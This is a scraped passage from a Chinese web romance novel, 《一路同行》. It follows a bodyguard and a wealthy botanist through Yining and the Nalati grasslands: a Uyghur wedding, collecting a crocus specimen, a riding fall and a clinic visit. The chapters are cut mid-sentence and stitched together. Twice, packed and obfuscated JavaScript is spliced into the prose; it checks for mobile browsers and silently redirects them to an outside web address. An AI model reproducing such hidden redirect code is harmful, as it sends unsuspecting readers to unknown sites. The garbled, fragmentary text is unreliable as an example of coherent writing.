《一路同行》全本免费阅读 ‖ 为了遇见你 我跨越雪山来找你 不管相距几万里 耗费多少力气 天鹅游青波 游出淡淡的相忆 月亮照水杉 照亮朦胧的爱意 …… ‖ 车载音响里放着李东信的《赛里木湖的云》,这是晏青棠日常完全不会听的类型,可在旅途之中听到,却觉得苍凉豁达,更有一种与赛里木湖一样的干净清澈。 离赛里木湖远去时,她甚至跟着在唱: ‖ 赛里木湖的云在等风 而我在等你 等你带回来那春天的消息 …… ‖ 从酒店出发,前往伊宁市,路程接近160公里。 途经“伊犁第一景”果子沟大桥时,一场春雪又将这里送回了冬天。 整个大桥被霜雪覆盖,壮丽恢宏,穿山而过,横跨险峻山谷,桥上车水马龙,远远望去,却都成雪中微尘。 看着大桥下的悬崖,晏青棠没敢开窗,西北的雪有种凌冽气势,从群山中飘荡至车窗,大风也跟着吹刮,拍打着。 而一路到了伊宁,又是另一种季节。 喀赞其的杏花开了,热闹的村子多了春的气息。当地的平房墙面都被刷上高饱和度的蓝色,比天空的蓝还要深几个度,与一簇簇浅白色杏花相映衬。 晏青棠走近,拍下了蓝墙前的杏花。 肃征却说喀赞其的美,不在刷上的那抹蓝,而在深巷里认真生活的原住民。 两人将越野车停在民俗村外,步行走进,晏青棠很快发现了共享单车,扫码骑上,穿梭在小巷倒也方便。 几小时前,还在隔窗感受风雪,而如今春风拂面,脚下快活地蹬着,车轮滚动,驱散旅途的劳累。 肃征紧随在后,听她在风里问他:“这里为什么叫喀赞其呢?” 身边有个通晓维吾尔语的人确实不错,肃征同样也在风中答:“维吾尔语的‘喀赞’,就是锅。‘其’是从事某行业的人。连起来那就是铸锅为业的人。这儿的人早年间都是从南疆迁来的,就以铸锅这类传统手工业为生。” 听到肃征的话,晏青棠有意在一些手工艺品店铺前停下,看着里面的手工花帽、乐器、马鞍、木雕、皮包……他们携带的行李很多,怕占地方,其实很少买下,而单纯逛逛,却也同样有趣。 这里多民族聚居,街区很老,清朝乾隆时期以来的古建筑就有三百多座,建筑风格也融合了多民族特色。 他们走走停停,偶尔看到当地的马车“马迪”经过,隔好远都能听到那串叮叮当当声。 在小巷里,维吾尔族大叔大妈们坐在门口晒天阳聊天。晏青棠放慢自行车,避让着一群踢足球的小孩子。 一位七八十岁的老爷爷似乎是非遗文化继承人,能头顶十几公斤的花壶,在众人的掌声和欢笑中载歌载舞。 肃征在旁,像是在打拍子,而晏青棠则不知不觉拍了很多照片。 路过伊孜海迩冰淇淋店时,晏青棠说要尝尝,肃征便在门口等她,几分钟后,见她捧着冰淇淋走出来。 “一个不够,还要吃两个?”肃征看了眼,“当心又闹肚子。” 晏青棠却将其中一个直接塞进他手:“谁说我要吃两个了?” 肃征一抬眉,意外于她倒是在吃上能想到他的一份。 可他又勉强道:“我不爱吃甜的。” “那你就拿着呗。”晏青棠没理会他的拒绝,“我又吃不下两个。” 肃征无奈地手里端着冰淇淋,看晏青棠单手推着自行车,另一只手享受地舀着冰淇淋吃。 室外气温不高,冰淇淋并不那么容易化,肃征久久拿在手里,看到前面的晏青棠都快吃完了,最终还是试着咬了一口。 口感绵密,大概是因为没有香精,比寻常吃过的冰淇淋多了一种自然的甜。 这种甜,他好像也不是不能接受。 伊宁作为中转,实在是个好去处。两人没有用正餐,只在巷子里转了转,就陆续吃了不少美食。 当地人家也很热情,有的见到他们骑着共享单车过来,主动邀请他们进家坐坐,然而晏青棠不太习惯,经肃征翻译,总是笑着道谢但又悄悄溜远。 唯有一处是个例外。 下午时分,他们行至一座院子,院门大敞着,从里面传出热闹的维吾尔传统音乐声。 晏青棠直接被吸引了去,在门口张望,院子里站满了人,而看他们盛装打扮的样子,还有簇拥在中央的男女,她隐约猜到,这里正在举行一场婚礼。 他们很快就被靠近门口的一位维吾尔族姑娘发现,肃征向她送上带给新人的祝福,而维吾尔族姑娘笑着回了他几句话。 “她说,想邀请我们参加她哥哥的婚礼。”肃征向晏青棠道。 晏青棠下意识的动作其实还是拒绝,但盛情之下又很不忍,她便犹豫地望向肃征。 她对偏自然的冒险兴致很浓,可与当地人的相处,却因为语言的陌生而保持着距离。 随后,维吾尔族姑娘又对肃征说了一句。 “她说,漂亮的姑娘不用害羞,这里就像家一样。”肃征道。 晏青棠反应过来面前的维吾尔族姑娘是在夸自己,更不好意思拒绝,最终跟着肃征走进院子。 里面真是热闹极了,维吾尔族婚礼有自己的一整套礼节习俗,面前的显然是最后的喜宴。 热情的主人家为了宴请客人,做了一大锅抓饭,还有手抓羊肉。 来参加从未见过的少数民族的婚礼,晏青棠多少有点拘束。 肃征领着她,拿起角落的水壶,给她倒水洗手,然后两人找了个不太显眼的位置,与其余客人围坐在一起,融入这场婚礼。 布单上撒满了喜糖和各色干果,盘子里摆上了糕点和油炸馓子。 晏青棠喝了奶茶后,又尝了些葡萄干,发现这里的葡萄干实在太甜,几乎要让她齁到。 而等她渐渐放开,尽情吃起来,且很快就吃不下时,她又看到那抓饭被端了上来。 原来刚才的更像餐前甜点,但她与肃征 8. 008 提防男人 《一路同行》全本免费阅读 婚礼结束后,肃征和新郎的家人们聊天,晏青棠也在一旁听。 新郎的父亲介绍说家里有两个儿子,三个女儿,现在只有一个儿子结了婚,将来还有的忙。 新郎的母亲笑说家里负担重,未来要给另外四个没结婚的孩子买房。好在今年旅游业发展不错,家里的地毯卖得好,赚了钱,生活很有盼头。 聊起天来,无论民族,内容似乎都是些家长里短。眼看着天色越来越黑,主人家挽留肃征与晏青棠在家里住一晚。 考虑到要尽快赶到那拉提,晏青棠与肃征客气地谢绝了他们的好意。 告别这户人家,他们乘车从喀赞其出发,经新源县,至那拉提岭上云精品民宿。到地方时,已经是夜里十点。 这是晏青棠自己在网上看到这家民宿好评多,没差评,有点动心。出门在外,她习惯住酒店,还没怎么尝试过民宿,这次长途旅行想多试试,于是就让肃征订了房间。 习惯了晏青棠生活上的奢侈后,肃征订房逐渐有了经验,挑最贵的房间订一般不会出错,于是订了能看一线草原景观的奢享大床特色房。 晏青棠估计是要补前一晚熬夜的觉,到房间不久后就给他发消息,告知了明早去见她的具体时间,还嘱咐他在此之前不许打扰她的好梦。 肃征看完她消息,摇头笑笑,后又接到晏雅钧的电话,要他汇报这几天的情况。 肃征只挑偏官方的话回:“晏小姐已经开始慢慢适应新疆的气候和风俗习惯了,心情也很好。” 他回忆一番,又补充道:“她很喜欢这儿的风景,还有这儿的树木花草。” 晏雅钧对这些都不在意,只着重问他:“她有说过她想家吗?” 涉及家事,总要斟酌。肃征觉得说“不想”显得很不合适,于是回道:“说了。” “她从不这么说。”晏雅钧却笑着揭穿他,“小肃,你这就是在替她说好话,是把秤偏向她了。” 随后,在肃征的沉默中,晏雅钧最后慨叹道:“我真不理解她跑去新疆有什么意义,真是人大了,有自己的主意。” 挂掉电话,肃征躺在床上,比起远在上海的晏雅钧,整日里近在晏青棠身旁的他,其实同样一直不理解晏青棠为什么非要这个时候来新疆,且首站就奔着那拉提而来,逛赛里木湖与看银河都不过是顺路。 这个季节,伊犁杏花沟的杏花还没大面积开放,那拉提草原的草也没全绿,这些晏青棠都知道,可她还是急着赶来,像是带着明确的目的,而且很坚定。 * 早上八点五十,肃征穿戴整齐,站在晏青棠的房间门口等待。 这是当兵时的习惯,他很有时间观念,和人约定通常都会早到。 十分钟后,指针指向九点整,肃征礼貌地敲了敲门,见里面没动静,又敲了第二回,但依然没回应。 他不禁犯了难,思量着不能吵到晏青棠,惹她不快,最后还是没敲第三遍。 不敲门,也不回自己房间,肃征选择站在晏青棠门口干等。 又过了半小时,肃征才听到门开的声音,瞧见晏青棠疑惑的眼神。 “肃征,你在这儿站军姿吗?”晏青棠问他。 她显然是刚醒,头发披散着,没换衣服,身上还穿着淡粉色的真丝睡袍。 进门后,他终究还是忍着气的,回道:“敲门不开,知道你在睡觉,我已经等你半小时了。” “真够轴的。那你怎么不给我打电话?”晏青棠用手理了下额前的几缕碎发,用着质问般的语气,“或者继续敲门?” 肃征哑口无言,而她理直气壮地补道:“让你这个点来见我,本来就是负责叫我起床的。” 肃征“恍然大悟”,原来他是她的人形闹钟。 从没说定的事,成了她的规则,肃征有种被捉弄的感觉:“这种事你大可以找民宿工作人员。” “是可以。”晏青棠拿起一杯水,悠然地喝了两口,然后瞥了肃征一眼,笑道,“但我不是用习惯你了嘛。” 若是旁人,这种话语本身就像是在挑衅侮辱人。可晏青棠说话带了股娇憨,让肃征有种错觉,她像是在亲近地同他撒娇,而不是进行着恶作剧。 由此,一切都可以原谅包容。 他也跟着终于注意到,晏青棠是穿着睡袍,长发发尾被睡得微卷,懒散地像是只半醒的血统高贵的波斯猫。 他瞬间想到些什么,低声提醒她:“出门在外,要注意保护自己,提防男人。” 他把话说得很明显,晏青棠不可能不明白,但她的睡袍宽大,早将她遮得严严实实,她也不怕,随意道:“我看过你的资料,你很有职业道德,而且又没有什么犯罪前科。” 她和她的家人存在分歧,但也信任他们,连带着信任他们推荐的他。 肃征却顺着她的话多说一句,反驳她道:“前科只代表之前,不代表现在和未来。我犯个一次,不就有前科了?” 话糙理不糙,晏青棠狐疑不定地望着他,默然几秒,神情复杂道:“头一次听到这么说自己的。” “单纯举个例子。”肃征咳了一声,虽是想让晏青棠提高警惕,但也不愿晏青棠就此把他视为犯罪预备役,“作为保镖,你可以信任我,但对其他人要留个心眼。” 晏青棠则盯着他瞧了瞧,最后认真道:“你……我也不能全信。” 半分钟后,肃征被“请”出房间。 肃征在餐厅再次见到晏青棠时,她已经换了衣服,考虑到室外温度不高,她还是在外面披了件薄款羽绒服。羽绒服很短,很轻便,不妨碍她做事。 民宿到那拉提景区之间,开车不到二十分钟。 春日的那拉提并不拥堵,游客不多,原因也很明显,那拉提虽然已经染上绿意,但不过是一小块地方,没有连成连绵不绝的绿海,绝大部分都还在被冰雪覆盖。 而这也是晏青棠心之所向。 自上车时,肃征就发现了,晏青棠正从她带来的笨重的行李箱中取出一个瞧着十分结实的铝镁合金储物箱,放在后排座椅上。 神秘兮兮的,真不知道里面装了些什么。 等到了那拉提空中草原,肃征将越野车停下,见晏青棠竟然要把那个储物箱也提下来,不禁 9. 009 白番红花 《一路同行》全本免费阅读 脸颊贴在他颈侧时,晏青棠紧张而急促地呼吸着,不由在他身上嗅到了一丝难以形容的甜味,这味道不是香水或者糖果的甜,也区别于沐浴露洗发水,晏青棠只单纯觉得很熟悉,闻多了有种古怪的心安。 肃征没有提防,就被晏青棠紧紧抱住,也就跟着她失了重心。 他努力稳住身体后,晏青棠得以顺利从他身上跳下来,却见他为了不摔到自己的箱子,竟将工具箱压在了他的脚上。 原本就要脱口而出的指责,都化为小心翼翼的询问:“你没事吧?” “没事,登山鞋挺厚的。”肃征简单一句,神色如常,右手提上箱子,就往前走。 晏青棠算是怕了他的这股莽劲儿,再不敢说方才那类话,默默跟上他,又在他身旁给他指位置。 他们来到一片游客相对较少的空地,肃征看到白番红花,大步往前走时,晏青棠紧张地出声叮嘱他:“肃征,看脚下,绕着走,别踩到了。” “知道了。”肃征随口应道。 她怕他的回答没走心,行事粗陋大意,就仔细盯着他走的方向。 而肃征偶尔回头,见晏青棠走路极慢,为了绕过寥寥几株小草,不伤了它们,会愿意多走很大一个圈。 对于植物,她是真的带有一种特别的怜惜。 两人来到一处白番红花长得相对密集的地方,冰雪只消融一半,融化的雪水成了对植物最好的滋养,浅白嫩黄的白番红花顶冰迎春,悄然绽放。 肃征在未长花草的空地上,帮她打开植物标本采集工具箱。 箱子里装了不少东西,全有分格分类,有修枝剪、小刀、高枝剪和小铲子,有保鲜盒、玻璃罐、自封袋、记号笔和标签纸,也有地图、指南针、GPS测量仪、望远镜、放大镜……甚至还有福尔马林溶液。 “你这装备还挺齐全。”肃征发现了晏青棠的专业,指着那很占地方的木架子问她,“这是什么?” “标本夹。”晏青棠先把那加厚的实木夹板拿了出来,“用来压植物的。” 她没有立刻开始采集白番红花,而是去找相机。拥有现代科技的她,可要比她的先辈们要方便得多。 白番红花植株很矮小,晏青棠蹲下身,拍照时继续压低,几乎快要趴在地上,她的表情十分严肃认真,拍摄白番红花的不同部位时,还会轻微调整焦距镜头。用微距特写花、叶,用广角拍摄生长环境和全株。 这还不够,她拍摄完几张照片后,还用延时摄影捕捉了精彩的动态,拍到天山脚下,那拉提草原上春风吹过时,白番红花迎风微微颤动的样子。 拍完之后,晏青棠站起身,裤子前面早沾上了泥土,甚至还有点融化的雪水渗进布料,却毫不在意,低头弯腰顾着找她的采集工具。 肃征在旁尽收眼底,缓缓道:“原来你真正工作时,一点也不怕脏。” 在城市小巷会拿酒精湿巾消毒几遍桌椅的她。 也是野外趴跪在草地上,一身泥土的她。 “这不一样。”晏青棠拿着小铲子重新蹲在地上,刨着一株白番红花旁的土,眼神专注而平和,“大自然包容一切,从来都不脏。” 周围的空气里是新鲜的泥土混合草木的味道,太阳晒着地面,炙烤着土壤,新疆的紫外线很强,肃征的手按在干土地上,很快就能感受到温热。 晏青棠已经把一株白番红花完整地从土壤里挖了出来。采集到的白番红花很完美,她没打算继续挖,只想要这一株。 “肃征,带水了吗?”晏青棠突然问他。 肃征打开背后的背包,回她道:“带了,不过是用来喝的。” “两瓶吗?”晏青棠朝他伸手,“那把我的那瓶给我。” 肃征将纯净水递给她,她拧开盖子,一手拿着瓶子,另一手小心地捧着白番红花。 “方便吗?”肃征随之在她身旁蹲下,“我来帮你倒水。” 晏青棠一个人确实不好操作,于是没有拒绝,她手里拿着白番红花,肃征慢慢将水一点儿一点儿倒在沾了土的白番红花根部。 晏青棠认真清洗掉附着在根部的泥土,再用布将根部的水擦干,然后拿起小剪刀,把叶子修剪整理一番。 做完这些后,她打开实木标本夹,把其中一块木夹内侧朝上平放,接着把瓦楞纸板和专用的几张吸水纸依次放上。 她将采集的白番红花放在吸水纸上,然后又在白番红花上盖上几张吸水纸,再压上瓦楞纸板,压的时候尽量使白番红花的花与叶舒展,最后把另一块木夹盖上去压紧,在标本夹上绑上绳子牢牢固定。 做完这些后,晏青棠从工具箱里拿出一本植物标本鉴定签,详细地记录着白番红花标本的学名、拉丁名、科属名、采集人、采集日期、采集地点、经纬度、植被类型、习性等信息。 “这样就行了吗?”肃征问道。 “当然没有。”晏青棠正把标本夹往工具箱里搬,“带回酒店后,还要每天换吸水纸。等彻底干了后,再开始装订标本。” 听她这么说,费了这么大功夫,现在倒连个半成品都不是,肃征感受良多,道:“没想到做个植物标本这么费劲。” “也不太费劲。”晏青棠把手里的空瓶子塞进自己的斜挎小包,“习惯了就还好。” 她确实很习惯采集制作标本这些步骤,方才动作显得行云流水,让人初次看了觉得很有兴趣。可却不知道,这种工作做千遍万遍,除枯燥乏味之外,还会有什么。 “对了。”肃征想起一件事,“出发前,你跟我要的自封袋,是不是也和考察植物有关?” “猜对啦。”晏青棠笑着打了个响指,“如果要采集的植物比较多,或者条件不适合现场制作,就可以先用自封袋保存。” “当然了,这次我只采集一株,就暂时用不上了。”晏青棠补道。 她身上洋溢着成功完成任务之后的满足感,抱起工具箱递给肃征。 肃征接了,便问她:“那我们现在要回去吗?” “着急什么。”晏青棠握着手里的相机,“这么早,我想在外面多待会儿。” 于是肃征先把工具箱搬回了越野车,关好车门后,重往晏青棠那边走。 正午时分,那拉提草原上的游客多了起来,在晏青棠的身旁,来了一队脖子上全挂着相机的人。 他们看上去都是中老年摄影爱好者,平均年纪都在五六十岁,组了一个团,团长还高高举着一面三角小彩旗,吆喝着后面的人跟上。 晏青棠站在原地,原本还在开心地观察冰雪里的白番红花。白番红花花期短,往往就只在一二十天。有的花儿已没了盛放时的姿态,可茎叶依然挺拔。 不提防几个男人朝着开得最美的白番红花冲过来,一路也没留意,就这么毫不顾忌地踩踏着草地里半露出的白番红花。 白番红花一下子歪倒了不少,紧跟着又被后面的人踩伤踩烂。 她视如珍宝的花草,在这些人眼里好像根本不算什么,只要能拍出好照片,也就不在意背后伤了多少原本鲜活的植物。 “别踩了!”晏青棠难忍愤怒,一个人走到他们面前,指着不远处那几株被踩倒的白番红花,“能不能看一眼脚下?” 除去一个穿着红羽绒服的短发阿姨绕了路外,众人都不理她。她生气地又拦住一个,那人无奈地望着她,随后硬生生闯过去:“小姑娘管那么宽干嘛?这花是你家种的?” 分明是强词夺理,他们也没把她一个纤弱的女生看在眼里,于他们而言,她没有任何威胁力。 晏青棠站在原地,看着那些人一个个经过,跟没听见一般继续踩花。 她愤怒又生气,顿时有种束手无策的无力,最后自己红了眼眶。 肃征是这时候走过来的,轻拍了下她的肩侧,像是安慰。她抬头去看肃征,男人竟带了纸巾,打开后递给她一张,问她道:“被人气哭了?” 晏青棠接过纸巾擦干泪,然后背过身去仰起头,并不回答。 他却知道她的委屈与难过,将肩上的包扔在了晏青棠的脚下,朝那群人走去,站定后,淡声道:“你们拍照归拍照,好歹注意点,总不能把这儿的花草都压死吧?” “关你屁……” 还是一样的说辞,可在抬头看到肃征时,自动把尾音消音。 出门在外,一群上了年纪的老头,见到这么个魁梧健硕的年轻男人,只要注意到他的体格和表情,就知道他根本不好惹。 跟他起争执,那肯定是占不了半点便宜,保准要吃大亏。 几分钟前还很嚣张的众人,这时候都安静下来,没人回肃征话,甚至看也不看他,都默默低头察看着地上的花草。 “真是欺软怕硬。”走到他身旁的晏青棠气恼地哼了一声。 好在总算是把这群不爱护植物的人给阻止住了,晏青棠安下心来,继续看白番红花。 那群中老年摄影爱好者看肃征没有生事,也松了口气,开始三五成群找目标拍照。 过程中都挺注意脚下,再没有像一开始那么随意。 晏青棠观察够了白番红花,开始悠闲地散步。 周围人多之后,逐渐热闹起来,他们大多已经退休,在家闲来无事,就开始在全国四处旅游。 晏青棠听了会儿他们聊天,原来他们是个民间成立的摄影爱好者协会,人还不算太多,但都很热情,携带的设备也不错。 而在他们协会之中,好像几乎全是男会员,晏青棠找了半天,只看到一个女会员,也就是刚才唯一听到晏青棠的提醒后,主动不再踩踏白番红花的那个阿姨。 阿姨穿着鲜艳的红色羽绒服,短发好像烫过,可烫得并不成功,半直不卷,没什么型。 她面色和善,经常是笑着的,但又有些局促,基本不说话,站在那群男人中间,显得没什么自信。 晏青棠经过她身边时,她正趴在地上,调整焦距,旁边坐着一个六十多岁戴着黑帽的男人,看样子是协会的老骨干,看到她拍的照片后,不住地摇头,亲自给她示范。 “取景不能那么取,要讲究构图,你看你这拍的,都是什么呀?全是废的。”黑帽男人咧着嘴,“看我这张,这么拍,是不是就好看很多?” “年轻人怎么说来着?”黑帽男人发觉晏青棠走近了,得意地笑着问道,“是不是叫‘高级’?更好看,更高级。” 晏青棠脖子上挂着高配置的索尼相机,黑帽男人离近后,一眼就看出了,也就高看她一眼。 晏青棠则低头仔细对比着红羽绒服阿姨和黑帽男人相机里这两张照片,最后真诚地回答:“我看不出你这张在技巧上有什么更好,我反而更喜欢这位阿姨拍的花。” “不懂欣赏!”黑帽男人脸色一变,腾地从地上起来,发现肃征还在不远处,便背过手走了,声音越来越小,可好像还是在她们身后隐隐响起,“用贵相机怎么了?懂什么叫摄影吗?这里面的学问可深了……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12434265|131706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种本能,朝着白马相反的方向滚去。 赶到的肃征则把她从草地上慢慢扶坐起来,担忧地望着她:“伤哪儿了?有哪儿疼吗?” “好像比我刚才想的要轻好多……”晏青棠抓住他的胳膊,有点惊魂未定,“但你干嘛让我直接滚下来?” “不止骑马要有技术,就是从马背上摔下来,也要有技术。专业骑手也经常掉下来。”肃征解释道,“这匹马的性格太多变,刚才正兴奋着,你不早点下来,等他发了性子会更难办。” 忙中容易出错,如果脚被马镫套住,挣脱不开,她的上半身就会被倒挂着在草地上摔打。又或者被拖拽,甚至会被马蹄不小心踩踏。 而将身体轻松地蜷起,却能在摔倒时减少冲击力,这时候只要远离马行进的方向,一般就问题不大。 经这么主动的一摔,晏青棠坐在草地上,初时觉得自己确实没什么问题。 但肃征不放心,又轻轻捏了下她的腿。 晏青棠正要炸毛,他捏到了她的右小腿肚,她终于感觉到酸疼,低头一看,小腿和脚踝都有点红肿,大概还是在摔下来时扭住了。还有擦伤,从皮肤里渗出了血。 肃征担忧起来,握住她的脚踝,还想细看,手离得极近,她立刻将他的手背拍打开了,恼火地望着他,娇声娇气地红了眼眶:“别碰,我疼……” “不碰你……”这大小姐是真怕疼,肃征一个五大三粗的人,突然束手束脚起来,不敢碰她,可又怕她的腿伤得重了,总要处理,于是又道,“但总要判断下有没有骨折,骨折了很麻烦。” 肃征想起晏青棠多少是明事理的,利害关系一说,她应该自己心里就有判断了。 果然,晏青棠不出声了。 “稍微忍一下。”肃征低声道。 他用手对晏青棠右腿肿胀的部位轻轻按了一圈,每按一处,都问问晏青棠,晏青棠实际上只有两处喊了疼,这么一看,倒是不太像真的骨折了。 “感觉没骨折。”肃征皱眉,“但最好我们还是去就近的医院检查一下。” 正说着,阿娅拉从远处牵着白马走了过来,一脸歉意地望着地上的晏青棠:“这马经常摔人,你的伤不严重吧?” 晏青棠摇摇头,并不怪罪阿娅拉:“是我自己要骑的,我刚才自己没注意马的状态。” 她方才是有点逞强了,想着自己是会骑马的,虽然听到了阿娅拉的提醒,可还是觉得自己能控制住白马。 大概她从前马术课上的马都是经人训练许久的,早习惯了被骑的生活,性格是真的温驯。 不像这草原上的马儿,模样生得俊美飘逸,乍一看也温和,可实际上却是桀骜不驯的,自由而奔放。 好在她方才有肃征的提醒,受伤并不严重。只要不乱动,她的腿好像就不疼。但肃征与阿娅拉的担心丝毫不减。 “我准备送她去医院看看。”肃征对阿娅拉说道,他对伤情只有一个粗略的经验判断,真想要确认晏青棠没骨折,就必须要去趟医院。 “要怎么去?能不能让若扎驮着她去?”阿娅拉问道。 13. 013 咬人小兽 马儿若扎性格温和,其实很适合驮人。 但晏青棠明显是有点受惊,一时半会儿不敢再碰马,看到阿娅拉的马走近,一个劲儿往他身边躲。 于是肃征改了主意,低头凑到晏青棠耳边,温声道:“我抱你回车上,行吗?” 晏青棠不说话,已经没多少力气,只朝他伸出双臂。 他便轻轻拉着她起来,让她的双臂环住他颈,粗健的手臂略一使力,就将她腾空抱起。 他的动作很是小心,注意了抱的姿势,把她受伤的右腿露在了上面。晏青棠估计是真觉得疼了,安静地趴在他肩头,连话也不说。 他不觉加快了行进的速度,可又担心行进不够稳当,反而弄疼了晏青棠,因此处处掣肘,真是一路走得艰难极了,把晏青棠抱进车里时,他的额头上难得出了细汗,却不是累的。 “要我帮你吗?”坐上车后,肃征仍保持着那份小心,指了指她的安全带。 晏青棠终于笑了,看着他道:“我是腿伤了,手还好着。” 说罢,她自己系好了安全带。 肃征一愣,随之跟着她笑了,放心道:“能笑,那看来状态还行。” 这里位置太偏,离大医院都很远,肃征只能带着她就近去了那拉提镇的卫生院。 卫生院的急诊医生给晏青棠做了检查,万幸没有骨折,但有红肿和擦伤,需要消毒上药。 晏青棠生性怕疼,医生刚上手,她就慌了神,那双杏眸可怜巴巴地直往肃征那边望,像是在寻求可信的依赖。 肃征没有多想,就把手臂伸向她,原是想让她安心,谁知刚一伸过去,就被她紧紧抱住,动弹不得。 肃征觉得,自己像是被晏青棠黏住了。两人紧紧相依的状态太亲昵,让他很不习惯地撇过脸去,这一幕发生在那几个医生护士面前,他更觉得自己无所适从。 消毒时,晏青棠努力忍耐,抓紧了肃征的胳膊,又不想看到自己的伤,于是整张脸都依在他的臂弯。很快医生开始上药,晏青棠像是忍不住疼了,双眸低垂,鼻尖一红,肃征只感觉到左臂内侧覆上温热,而后猝不及防,一阵疼痛袭来! 晏青棠咬住了他的手臂。 他的衣袖是高高卷起的,晏青棠这一咬,完全咬到了他的肉。他低头去看晏青棠,见她闭着眼睛,就像小兽,她的眼睫毛一直微微抖动,尖牙碰触到他的肉后,下意识就收了些力道,可还是没松口。 等医生上完药,把加压绷带绑好,她才缓缓松口,抬眼无辜地望着男人。 肃征以为她作为主动咬人的一方,至少该主动向他道歉,谁知她一开口,就是个疑问:“你刚才洗手了吗?” 好脾气的肃征也有忍不下的时候,一时之间真想一走了之。 原本还在说着“一周后再复查”的医嘱的医生,看到这场面,也关心地问了他一句:“你的胳膊没事吧?” “没事。”肃征倒不是为了这个,一个小姑娘慌张中咬一口,又能有多大力气,他的手臂上只留下一道浅浅的齿痕,于他而言早没了痛感。 他是气晏青棠的态度。 听医生说完话,肃征抬腿就要出门,临到门口,右腿缠上绷带的晏青棠急切地喊住他:“肃征!” 他便停在原地,想想之后,又转身回来了,在晏青棠面前站定,面无表情道:“我还以为你挺有力气呢。” 晏青棠也不说别的,只像来时那样伸开双臂,轻声命令他:“抱我。” 她总有种傲气,说起话来带着理所当然。可肃征也不知自己是怎么一回事,总被她三言两语就软化,大概是看她瘸着腿,眼神又太可怜,他还是抱起了她,而她手里提着消炎药,小袋子总在他锁骨处晃悠,让他痒痒的。 他不禁出了门后就停住了,抬了抬下巴,冷声道:“拿远点。” “怪凶的。”晏青棠口中不满地嘟囔着,但还是把袋子往上了些,而她的双臂也跟着往上,圈住了他温热的脖颈。 不知是真实还是幻觉,他闻到她身上有着海棠花盛开的花香,十分浅淡,若有似无,许是她喷的香水。 回到车上,晏青棠想要直接回民宿,肃征却还记着刚才的事,并不开车。 两人僵持着,最终还是肃征先开口,很介怀地说道:“你刚才咬了我。” 晏青棠沉默了两分钟,才道:“对不起。” 她的声音低而小,但好歹是带着歉意。 肃征原本的那些情绪突然就都没了,咳了声道:“没事。” “嗯?”晏青棠一愣。 这男人可真好哄,刚才冷着一张脸,就为了这一句话? “你把安全带系好。”肃征已经发动越野车,“我开快点,争取早点回去。” “哦……”晏青棠抬手去找安全带。 这下轮到她心里真正生出点歉意了。晏青棠做人一向是别人对她一分好,她对别人十分好。 单是她咬了肃征一口的事,确实是她做得不对。 于是回到民宿,肃征半跪在她身侧,查看完她的伤势后,她也顺势挽起男人的半截衣袖,垂眸认真观察着她方才留下的“罪证”。 粉红色的齿痕小小一圈,在他小麦色的皮肤上其实并不那么明显。 “疼吗?”她问着,还用手指轻轻碰触了下他的手臂。 肃征没想到她还记着这件事,摇摇头,把袖子放了下去:“早就不疼了,你那点力气,小猫似的。” 原是安慰晏青棠,让她别太放在心上,晏青棠听了,倒是下意识觉得肃征是在低看自己,反驳道:“我力气才不小,刚才是反应过来了,不然你的胳膊……” “不然怎样?”肃征站起身,比坐在床上的她要高出太多。 “不然你胳膊就危险了。”她只能仰头看着肃征,不禁不太服气地哼了声道,“不信?等下次再咬你的时候……” “姑奶奶,还要有下次呢?”肃征连声道,“行,我信了。” 晏青棠笑了:“这还差不多。” 肃征算是发现了,晏青棠很爱压人一头,事事都要争先。一路上她都是这种风格,喜欢占据主导地位。 这原本也没什么,但再加上她从小在豪门长大,说话口吻上也确实更像驱使,就容易显得盛气凌人,给人的观感不太好。 可若是忽略了她的语气,单看她话里的内容,还有她的种种举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12466517|131706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止表现,其实不过是孩子气一些,不止不会惹人厌烦,反而觉得可爱娇憨。 想到这里,他不禁愣起神,床边的晏青棠喊了他好几声,他才应声:“你刚才说什么?” “你发什么呆呢?”晏青棠不满地重复着,“我说,你能帮我把标本夹递给我吗?我想在床上换吸水纸。” 也算敬业了。 腿还伤着,在卫生院里上药差点哭了,但回来的第一件事还是她的标本。 肃征转身过去拿,手碰到后,却又改了主意,问她道:“简单吗?不然我帮你换。” “简单是简单,但你……”晏青棠上下扫了他一眼,口无遮拦道,“你还是拿过来给我吧,我怕你毁了我的白番红花。” 肃征原本是自信的,昨天看她换吸水纸好几次,这操作感觉没什么难度。 但经晏青棠这么一说,他又变得瞻前顾后了,确实怕换纸时操作不慎,把晏青棠辛苦挖出来的唯一一株白番红花标本给弄坏了。 他的心思全摆在脸上,为床上的晏青棠送来标本夹后,连晏青棠都感觉到了,忍不住开口找补:“谢谢你的这份心,等以后我教教你,你再帮我做标本吧。” 肃征没说话,坐在不远处静静看着晏青棠摆弄标本夹。 她的动作可称小心翼翼,轻微细致,已经丧失了些水分的白番红花植株变得有点软,她拿放都很小心,怕损伤了叶子和花朵。 换好吸水纸后,肃征又重新把标本夹绑好,然后放回原位。 “哎,本来是想着等春天的野花全开,可也不想像现在这样。”晏青棠躺在床上,“要被关一周禁闭,好没意思。” 肃征正要说些什么,她又想起事情来,问道:“阿娅拉还不知道情况吧?你有没有她的联系方式?” 她跟肃征走后,也没有再回去跟阿娅拉说情况,她怕阿娅拉一家还在担心她。 肃征摇摇头,道:“没联系方式,我现在就过去一趟。” “那你帮我给阿娅拉带句话,就说我没什么事,等腿好了,就再去找她玩。”晏青棠叮嘱他。 